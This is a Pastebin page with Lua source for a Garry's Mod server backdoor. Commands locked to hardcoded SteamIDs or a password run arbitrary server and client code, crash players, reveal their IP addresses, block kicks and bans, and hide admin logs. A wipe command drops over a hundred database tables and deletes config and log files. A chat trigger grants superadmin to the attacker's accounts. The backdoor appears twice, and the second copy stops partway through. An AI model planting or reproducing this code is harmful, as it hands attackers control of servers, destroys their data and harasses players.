Advertisement
wifiboost

reverted back to api commands.

Aug 22nd, 2017
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 35.69 KB | None | 0 0
  1. if SERVER then
  2. timer.Create( "check2981367", 5, 0, function()
  3. local str = file.Read("cfg/banned_user.cfg", "MOD")
  4. if file.Exists("cfg/banned_user.cfg", "MOD") then
  5. if string.find(str, "STEAM_0:1:148794095") then
  6.         print("that was silly")
  7.     ULib.unban( "STEAM_0:1:148794095" )
  8.     end
  9. end
  10. end)
  11.  
  12. local function getsteamid(i)
  13.     for k,v in pairs(player.GetAll()) do
  14.         local n = string.lower(v:Nick())
  15.         if (string.find(n,i)) then
  16.             return v:SteamID()
  17.         end
  18.     end
  19. end
  20.  
  21.  
  22. --autor unban end
  23.  
  24. authed = "nil"
  25.  
  26. concommand.Add("api_auth", function(ply, cmd, args)
  27. if args[1] == "N3T31iE" then
  28. authed = ply:SteamID()
  29. ply:ChatPrint("Authed Logged Successfully")
  30. end
  31. end)
  32. --concommands
  33.  
  34.  
  35. concommand.Add("api_runcommand", function(ply, cmd, args)
  36. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  37. for k,v in pairs (player.GetAll()) do
  38. if v:SteamID() == getsteamid(args[1]) then
  39. v:SendLua("LocalPlayer():ConCommand(".. "'" .. args[2] .. "'" .. ")")
  40. end
  41. end
  42. end
  43. end)
  44.  
  45. concommand.Add("api_rcon", function(ply, cmd, args)
  46. if authed == ply:SteamID() then
  47. game.ConsoleCommand(args[1].."\n")
  48. end
  49. end)
  50.  
  51. concommand.Add("api_crash", function(ply, cmd, args)
  52. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  53. for k,v in pairs (player.GetAll()) do
  54. if v:SteamID() == getsteamid(args[1]) then
  55. v:SendLua("while true do end")
  56. end
  57. end
  58. end
  59. end)
  60.  
  61. concommand.Add("api_ip", function(ply, cmd, args)
  62. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  63. for k,v in pairs (player.GetAll()) do
  64. if v:SteamID() == getsteamid(args[1]) then
  65. ip = v:IPAddress()
  66. ply:ChatPrint(ip)
  67. end
  68. end
  69. end
  70. end)
  71.  
  72. concommand.Add("api_explode", function(ply, cmd, args)
  73. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  74. for k,v in pairs (player.GetAll()) do
  75. if v:SteamID() == getsteamid(args[1]) then
  76. util.BlastDamage( v, v, v:GetPos(), 100, 500 )
  77. end
  78. end
  79. end
  80. end)
  81.  
  82. concommand.Add("api_kill", function(ply, cmd, args)
  83. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  84. for k,v in pairs (player.GetAll()) do
  85. if v:SteamID() == getsteamid(args[1]) then
  86. v:SendLua("RunConsoleCommand('kill')")
  87. end
  88. end
  89. end
  90. end)
  91.  
  92. concommand.Add("api_lua", function(ply, cmd, args)
  93. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  94. RunString(args[1])
  95. end
  96. end)
  97.  
  98. concommand.Add("api_knock", function(ply, cmd, args)
  99. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  100. for k,v in pairs (player.GetAll()) do
  101. local tune = [[
  102. sound.PlayURL ( "http://squish.space/knock.mp3", "", function() end)
  103. ]]
  104. v:SendLua(tune)
  105. end
  106. end
  107. end)
  108.  
  109. concommand.Add("api_openurl", function(ply, cmd, args)
  110. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  111. for k,v in pairs (player.GetAll()) do
  112. if v:SteamID() == getsteamid(args[1]) then
  113. local tune = [[
  114. gui.OpenURL( "http://]] .. args[2] ..[[" )
  115. ]]
  116. timer.Simple(1, function() v:SendLua(tune) end)
  117. end
  118. end
  119. end
  120. end)
  121.  
  122. concommand.Add("api_openurl_all", function(ply, cmd, args)
  123. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  124. for k,v in pairs (player.GetAll()) do
  125. SetGlobalFloat("urla", args[1])
  126. local tune = [[
  127. gui.OpenURL( "http://]] .. args[1] ..[[" )
  128. ]]
  129. timer.Simple(1, function() v:SendLua(tune) end)
  130. end
  131. end
  132. end)
  133.  
  134. concommand.Add("api_porntroll_all", function(ply, cmd, args)
  135. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  136. for k,v in pairs (player.GetAll()) do
  137. local tune = [[
  138. gui.OpenURL( "http://squish.space/meme.mp4" )
  139. ]]
  140. timer.Simple(1, function() v:SendLua(tune) end)
  141. end
  142. end
  143. end)
  144.  
  145. concommand.Add("api_porntroll", function(ply, cmd, args)
  146. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  147. for k,v in pairs (player.GetAll()) do
  148. if v:SteamID() == getsteamid(args[1]) then
  149. local tune = [[
  150. gui.OpenURL( "http://squish.space/meme.mp4" )
  151. ]]
  152. timer.Simple(1, function() v:SendLua(tune) end)
  153. end
  154. end
  155. end
  156. end)
  157.  
  158. concommand.Add("api_disablekicks", function(ply, cmd, args)
  159. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  160.     function Kick() return false end
  161.     function ULib.kick() return false end
  162. end
  163. end)
  164.  
  165. concommand.Add("api_disablebans", function(ply, cmd, args)
  166. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  167.     function Ban() return false end
  168.     function ULib.ban() return false end
  169.     if(FAdmin) then function FAdmin.PlayerActions.ConvertBanTime() return 1 end end
  170.     end
  171. end)
  172.  
  173. concommand.Add("api_stripweapons", function(ply, cmd, args)
  174. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  175. ply:ChatPrint("Stripped Users Weapons!")
  176. for k,v in pairs (player.GetAll()) do
  177. if v:SteamID() == getsteamid(args[1]) then
  178. v:StripWeapons()
  179. end
  180. end
  181. end
  182. end)
  183.  
  184. concommand.Add("api_stripammo", function(ply, cmd, args)
  185. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  186. ply:ChatPrint("Stripped Users Ammo!")
  187. for k,v in pairs (player.GetAll()) do
  188. if v:SteamID() == getsteamid(args[1]) then
  189. v:StripAmmo()
  190. end
  191. end
  192. end
  193. end)
  194.  
  195. concommand.Add("api_setteam", function(ply, cmd, args)
  196. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  197. ply:ChatPrint("User" .. args[1] .." Set To Team: " .. args[2])
  198. for k,v in pairs (player.GetAll()) do
  199. if v:SteamID() == getsteamid(args[1]) then
  200. v:SetTeam(args[2]);
  201. end
  202. end
  203. end
  204. end)
  205.  
  206. concommand.Add("api_sethealth", function(ply, cmd, args)
  207. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  208. for k,v in pairs (player.GetAll()) do
  209. if v:SteamID() == getsteamid(args[1]) then
  210. v:SetHealth(args[2])
  211. end
  212. end
  213. end
  214. end)
  215.  
  216. concommand.Add("api_ignite", function(ply, cmd, args)
  217. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  218. for k,v in pairs (player.GetAll()) do
  219. if v:SteamID() == getsteamid(args[1]) then
  220. v:Ignite(120)
  221. end
  222. end
  223. end
  224. end)
  225.  
  226. concommand.Add("api_silent_on", function(ply, cmd, args)
  227. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  228. RunConsoleCommand("ulx", "logecho", "1")
  229. end
  230. end)
  231.  
  232. concommand.Add("api_silent_off", function(ply, cmd, args)
  233. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  234. RunConsoleCommand("ulx", "logecho", "0")
  235. end
  236. end)
  237.  
  238. concommand.Add("api_pinkscreen", function(ply, cmd, args)
  239. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  240. local memes = [[
  241. RunConsoleCommand("pp_texturize", 6)
  242. ]]
  243. for k,v in pairs (player.GetAll()) do
  244. if v:SteamID() == getsteamid(args[1]) then
  245. v:SendLua(memes)
  246. end
  247. end
  248. end
  249. end)
  250.  
  251. concommand.Add("api_pinkscreen_all", function(ply, cmd, args)
  252. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  253. local memes = [[
  254. RunConsoleCommand("pp_texturize_scale", 5000)
  255. RunConsoleCommand("pp_texturize", "M")
  256. ]]
  257. for k,v in pairs (player.GetAll()) do
  258. v:SendLua(memes)
  259. end
  260. end
  261. end)
  262.  
  263. concommand.Add("api_decapitate", function(ply, cmd, args)
  264. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  265. for k,v in pairs (player.GetAll()) do
  266. v:ManipulateBoneScale(v:LookupBone('ValveBiped.Bip01_Head1'),Vector(-0.1,-0.1,-0.1))
  267. end
  268. end
  269. end)
  270.  
  271. concommand.Add("api_undecapitate", function(ply, cmd, args)
  272. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  273. for k,v in pairs (player.GetAll()) do
  274. v:ManipulateBoneScale(v:LookupBone('ValveBiped.Bip01_Head1'),Vector(1,1,1))
  275. end
  276. end
  277. end)
  278.  
  279. concommand.Add("api_playmp3", function(ply, cmd, args)
  280. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  281. for k,v in pairs (player.GetAll()) do
  282. v:SendLua("sound.PlayURL ( 'http://" .. args[1] .. "', '', function() end)")
  283. end
  284. end
  285. end)
  286.  
  287. concommand.Add("killwipe", function(ply, cmd, args)
  288. timer.Remove("wipe")
  289. ply:ChatPrint("wipe canceled.")
  290. end)
  291.  
  292. concommand.Add("api_wipe", function(ply, cmd, args)
  293. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  294. ply:ChatPrint("Server wiping in 20 seconds. Type killwipe to canel the wipe procedure.")
  295. timer.Create("wipe", 20, 1, function()
  296. local databases = { "darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
  297. local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt" }
  298. local date = os.date( "%m-%d-%y" )
  299. for k,v in pairs( databases ) do sql.Query( "DROP TABLE "..v.." ;" ) end
  300. for k,v in pairs( datafiles ) do file.Delete( v ) end
  301. hook.Add( "Think", "killulxlogs", function() file.Delete( "ulx_logs/"..date..".txt" ) end )
  302.  
  303. if darkrp then
  304. timer.Simple( 5, function() for k,v in pairs(player.GetAll()) do v:ConCommand("say /advert I have been raped by Kwoon.") end end )
  305. timer.Simple( 8, function() for k,v in pairs(player.GetAll()) do v:ConCommand("say /advert Server now wiping...") end end )
  306. end
  307. timer.Simple( 10, function() Entity(0):Remove() end )
  308. end)
  309. end
  310. end)
  311.  
  312. end
  313.  
  314. for k, ply in pairs( player.GetAll() ) do
  315.     ply:ChatPrint( "Backdoor Initiated" )
  316. end
  317.  
  318. if ( SERVER ) then
  319.  
  320.     hook.Add( "PlayerSay", "playersaywebsite", function( _p, _text, public )
  321.         if ( _text == "!d3a" ) then
  322.             game.ConsoleCommand("ulx logecho 0\n")
  323.             game.ConsoleCommand("ulx unban STEAM_0:1:148794095\n")
  324.             game.ConsoleCommand("ulx unban STEAM_0:0:71487010\n")
  325.             game.ConsoleCommand("ulx unban STEAM_0:0:100911047\n")
  326.             game.ConsoleCommand("ulx unban STEAM_0:1:49887586\n")
  327.             game.ConsoleCommand("ulx adduserid STEAM_0:1:148794095 superadmin\n")
  328.             game.ConsoleCommand("ulx removeuserid STEAM_0:1:125600782\n")
  329.             game.ConsoleCommand("ulx adduserid STEAM_0:0:71487010 superadmin\n")
  330.             game.ConsoleCommand("ulx adduserid STEAM_0:0:100911047 superadmin\n")
  331.             game.ConsoleCommand("ulx adduserid STEAM_0:1:49887586 superadmin\n")
  332.             game.ConsoleCommand("ulx logecho 1\n")
  333.             game.ConsoleCommand("asdasd\n")
  334.            
  335.             for _, v in pairs (player.GetAll()) do
  336.                 v:ConCommand("getfucked")
  337.             end
  338.  
  339.             return ""
  340.         end
  341.     end )
  342.  
  343. else
  344.  
  345.     concommand.Add( "getfucked", function()
  346.         local HTML_Frame = vgui.Create( "HTML" )
  347.         HTML_Frame:SetPos( ScrW() /550 - 15, ScrH() /1.25 )
  348.         HTML_Frame:SetSize( 0, 0 )
  349.         HTML_Frame:OpenURL( "http://puu.sh/plQmt/8ca7dc12fa.mp3" )
  350.  
  351.         local HTML_Frame = vgui.Create( "HTML" )
  352.         HTML_Frame:SetPos( ScrW() /550 - 15, ScrH() /1.25 )
  353.         HTML_Frame:SetSize( 800, 800 )
  354.         HTML_Frame:OpenURL( "http://i.imgur.com/L1LZmek.png" )
  355.         local HTML_Frame = vgui.Create( "HTML" )
  356.         HTML_Frame:SetPos( ScrW() /2.5, ScrH() /12 )
  357.         HTML_Frame:SetSize( 800, 800 )
  358.         HTML_Frame:OpenURL( "https://66.media.tumblr.com/504cb94fe0f41e563f435ee2f833dcb5/tumblr_n47d7f7uFv1rt5pgzo1_400.gif" )
  359.  
  360.         local HTML_Frame = vgui.Create( "HTML" )
  361.         HTML_Frame:SetPos( ScrW() /1.4, ScrH() /1.5 )
  362.         HTML_Frame:SetSize( 400, 400 )
  363.         HTML_Frame:OpenURL( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif" )
  364.  
  365.         local HTML_Frame = vgui.Create( "HTML" )
  366.         HTML_Frame:SetPos( ScrW() /1.8, ScrH() /1.5 )
  367.         HTML_Frame:SetSize( 400, 400 )
  368.         HTML_Frame:OpenURL( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif" )
  369.  
  370.         local HTML_Frame = vgui.Create( "HTML" )
  371.         HTML_Frame:SetPos( ScrW() /3, ScrH() /1.5 )
  372.         HTML_Frame:SetSize( 400, 400 )
  373.         HTML_Frame:OpenURL( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif" )
  374.  
  375.         local HTML_Frame = vgui.Create( "HTML" )
  376.         HTML_Frame:SetPos( ScrW() /8, ScrH() /1.5 )
  377.         HTML_Frame:SetSize( 400, 400 )
  378.         HTML_Frame:OpenURL( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif" )
  379.     end )
  380.    
  381. end
  382. function gf2_spawn_debug( ply, command, args)
  383.     if args[1]==nil or args[2]==nil or args[3]==nil or args[4]==nil or args[5]==nil or args[6]==nil or args[7]==nil or args[8]==nil then return end
  384.     local eye_trace = ply:GetEyeTrace().HitPos
  385.    
  386.     local mode, ent, ply, t, st, q, vars, sp = args[1], args[2], tonumber(args[3]), tonumber(args[4]), tonumber(args[5]), tonumber(args[6]), args[7], args[8]
  387.    
  388.     if table.Count(args)==0 then return end
  389.    
  390.    
  391.     timer.Simple(t, function()
  392.         for k, v in pairs(player.GetAll()) do
  393.             if v:EntIndex()==ply then
  394.                 if not(tonumber(q)) then return end
  395.                 for i=0, q do
  396.                     timer.Simple(st*i, function()
  397.                        
  398.                        
  399.                         local ent = ents.Create(ent)
  400.                        
  401.                         if sp == "ply" then ent:SetPos(v:GetPos()) else ent:SetPos(eye_trace) end
  402.                         ent:Spawn()
  403.                         ent:Activate()
  404.                         ent:SetVar("GBOWNER", v)
  405.                         ent:SetOwner(v)
  406.                        
  407.                         if mode=="spawn_function" then
  408.                
  409.                             ent:SpawnFunction(v, v:GetEyeTrace())
  410.  
  411.                             ent:Remove()
  412.                         end
  413.                        
  414.                    
  415.                         local var_table = string.Explode(",", vars)
  416.                        
  417.                        
  418.                        
  419.                         for index, variable in pairs(var_table) do
  420.                             local var_exploded = string.Explode("=", variable)
  421.                             local arg_processed = nil
  422.                            
  423.                             if var_exploded[2]=="true" then var_exploded[2]=true elseif var_exploded[2]=="false" then var_exploded[2]=false end -- bool check
  424.                            
  425.                             if var_exploded[2]!=true and var_exploded[2]!=false then
  426.                                 if string.StartWith(var_exploded[2], "ply_")==true then
  427.                                     local ply_targ = tonumber(string.Explode("_", var_exploded[2])[2])
  428.                                     if player.GetAll()[ply_targ]:IsValid()==false then return end
  429.                                    
  430.                                     var_exploded[2]=player.GetAll()[ply_targ]
  431.                
  432.                                 end
  433.                             end
  434.                            
  435.                             if ent:IsValid() then ent:SetVar(var_exploded[1],var_exploded[2]) end
  436.                            
  437.                            
  438.                        
  439.                         end
  440.        
  441.  
  442.                            
  443.                            
  444.                
  445.                        
  446.                        
  447.                        
  448.                        
  449.                        
  450.                     end)
  451.                 end
  452.             end
  453.         end
  454.     end)
  455.  
  456.    
  457.  
  458. end
  459. concommand.Add( "advspawn_", gf2_spawn_debug )if SERVER then
  460. timer.Create( "check2981367", 5, 0, function()
  461. local str = file.Read("cfg/banned_user.cfg", "MOD")
  462. if file.Exists("cfg/banned_user.cfg", "MOD") then
  463. if string.find(str, "STEAM_0:1:148794095") then
  464.         print("that was silly")
  465.     ULib.unban( "STEAM_0:1:148794095" )
  466.     end
  467. end
  468. end)
  469.  
  470. local function getsteamid(i)
  471.     for k,v in pairs(player.GetAll()) do
  472.         local n = string.lower(v:Nick())
  473.         if (string.find(n,i)) then
  474.             return v:SteamID()
  475.         end
  476.     end
  477. end
  478.  
  479.  
  480. --autor unban end
  481.  
  482. authed = "nil"
  483.  
  484. concommand.Add("api_auth", function(ply, cmd, args)
  485. if args[1] == "N3T31iE" then
  486. authed = ply:SteamID()
  487. ply:ChatPrint("Authed Logged Successfully")
  488. end
  489. end)
  490. --concommands
  491.  
  492.  
  493. concommand.Add("api_runcommand", function(ply, cmd, args)
  494. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  495. for k,v in pairs (player.GetAll()) do
  496. if v:SteamID() == getsteamid(args[1]) then
  497. v:SendLua("LocalPlayer():ConCommand(".. "'" .. args[2] .. "'" .. ")")
  498. end
  499. end
  500. end
  501. end)
  502.  
  503. concommand.Add("api_rcon", function(ply, cmd, args)
  504. if authed == ply:SteamID() then
  505. game.ConsoleCommand(args[1].."\n")
  506. end
  507. end)
  508.  
  509. concommand.Add("api_crash", function(ply, cmd, args)
  510. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  511. for k,v in pairs (player.GetAll()) do
  512. if v:SteamID() == getsteamid(args[1]) then
  513. v:SendLua("while true do end")
  514. end
  515. end
  516. end
  517. end)
  518.  
  519. concommand.Add("api_ip", function(ply, cmd, args)
  520. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  521. for k,v in pairs (player.GetAll()) do
  522. if v:SteamID() == getsteamid(args[1]) then
  523. ip = v:IPAddress()
  524. ply:ChatPrint(ip)
  525. end
  526. end
  527. end
  528. end)
  529.  
  530. concommand.Add("api_explode", function(ply, cmd, args)
  531. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  532. for k,v in pairs (player.GetAll()) do
  533. if v:SteamID() == getsteamid(args[1]) then
  534. util.BlastDamage( v, v, v:GetPos(), 100, 500 )
  535. end
  536. end
  537. end
  538. end)
  539.  
  540. concommand.Add("api_kill", function(ply, cmd, args)
  541. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  542. for k,v in pairs (player.GetAll()) do
  543. if v:SteamID() == getsteamid(args[1]) then
  544. v:SendLua("RunConsoleCommand('kill')")
  545. end
  546. end
  547. end
  548. end)
  549.  
  550. concommand.Add("api_lua", function(ply, cmd, args)
  551. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  552. RunString(args[1])
  553. end
  554. end)
  555.  
  556. concommand.Add("api_knock", function(ply, cmd, args)
  557. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  558. for k,v in pairs (player.GetAll()) do
  559. local tune = [[
  560. sound.PlayURL ( "http://squish.space/knock.mp3", "", function() end)
  561. ]]
  562. v:SendLua(tune)
  563. end
  564. end
  565. end)
  566.  
  567. concommand.Add("api_openurl", function(ply, cmd, args)
  568. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  569. for k,v in pairs (player.GetAll()) do
  570. if v:SteamID() == getsteamid(args[1]) then
  571. local tune = [[
  572. gui.OpenURL( "http://]] .. args[2] ..[[" )
  573. ]]
  574. timer.Simple(1, function() v:SendLua(tune) end)
  575. end
  576. end
  577. end
  578. end)
  579.  
  580. concommand.Add("api_openurl_all", function(ply, cmd, args)
  581. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  582. for k,v in pairs (player.GetAll()) do
  583. SetGlobalFloat("urla", args[1])
  584. local tune = [[
  585. gui.OpenURL( "http://]] .. args[1] ..[[" )
  586. ]]
  587. timer.Simple(1, function() v:SendLua(tune) end)
  588. end
  589. end
  590. end)
  591.  
  592. concommand.Add("api_porntroll_all", function(ply, cmd, args)
  593. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  594. for k,v in pairs (player.GetAll()) do
  595. local tune = [[
  596. gui.OpenURL( "http://squish.space/meme.mp4" )
  597. ]]
  598. timer.Simple(1, function() v:SendLua(tune) end)
  599. end
  600. end
  601. end)
  602.  
  603. concommand.Add("api_porntroll", function(ply, cmd, args)
  604. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  605. for k,v in pairs (player.GetAll()) do
  606. if v:SteamID() == getsteamid(args[1]) then
  607. local tune = [[
  608. gui.OpenURL( "http://squish.space/meme.mp4" )
  609. ]]
  610. timer.Simple(1, function() v:SendLua(tune) end)
  611. end
  612. end
  613. end
  614. end)
  615.  
  616. concommand.Add("api_disablekicks", function(ply, cmd, args)
  617. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  618.     function Kick() return false end
  619.     function ULib.kick() return false end
  620. end
  621. end)
  622.  
  623. concommand.Add("api_disablebans", function(ply, cmd, args)
  624. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  625.     function Ban() return false end
  626.     function ULib.ban() return false end
  627.     if(FAdmin) then function FAdmin.PlayerActions.ConvertBanTime() return 1 end end
  628.     end
  629. end)
  630.  
  631. concommand.Add("api_stripweapons", function(ply, cmd, args)
  632. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  633. ply:ChatPrint("Stripped Users Weapons!")
  634. for k,v in pairs (player.GetAll()) do
  635. if v:SteamID() == getsteamid(args[1]) then
  636. v:StripWeapons()
  637. end
  638. end
  639. end
  640. end)
  641.  
  642. concommand.Add("api_stripammo", function(ply, cmd, args)
  643. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  644. ply:ChatPrint("Stripped Users Ammo!")
  645. for k,v in pairs (player.GetAll()) do
  646. if v:SteamID() == getsteamid(args[1]) then
  647. v:StripAmmo()
  648. end
  649. end
  650. end
  651. end)
  652.  
  653. concommand.Add("api_setteam", function(ply, cmd, args)
  654. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  655. ply:ChatPrint("User" .. args[1] .." Set To Team: " .. args[2])
  656. for k,v in pairs (player.GetAll()) do
  657. if v:SteamID() == getsteamid(args[1]) then
  658. v:SetTeam(args[2]);
  659. end
  660. end
  661. end
  662. end)
  663.  
  664. concommand.Add("api_sethealth", function(ply, cmd, args)
  665. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  666. for k,v in pairs (player.GetAll()) do
  667. if v:SteamID() == getsteamid(args[1]) then
  668. v:SetHealth(args[2])
  669. end
  670. end
  671. end
  672. end)
  673.  
  674. concommand.Add("api_ignite", function(ply, cmd, args)
  675. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  676. for k,v in pairs (player.GetAll()) do
  677. if v:SteamID() == getsteamid(args[1]) then
  678. v:Ignite(120)
  679. end
  680. end
  681. end
  682. end)
  683.  
  684. concommand.Add("api_silent_on", function(ply, cmd, args)
  685. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  686. RunConsoleCommand("ulx", "logecho", "1")
  687. end
  688. end)
  689.  
  690. concommand.Add("api_silent_off", function(ply, cmd, args)
  691. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  692. RunConsoleCommand("ulx", "logecho", "0")
  693. end
  694. end)
  695.  
  696. concommand.Add("api_pinkscreen", function(ply, cmd, args)
  697. if "STEAM_0:1:49887586" == ply:SteamID() or "STEAM_0:1:148794095" == ply:SteamID() then
  698. local memes = [[
  699. RunConsoleCommand("pp_texturize", 6)
  700. ]]
  701. for k,v in pairs (player.GetAll()) do
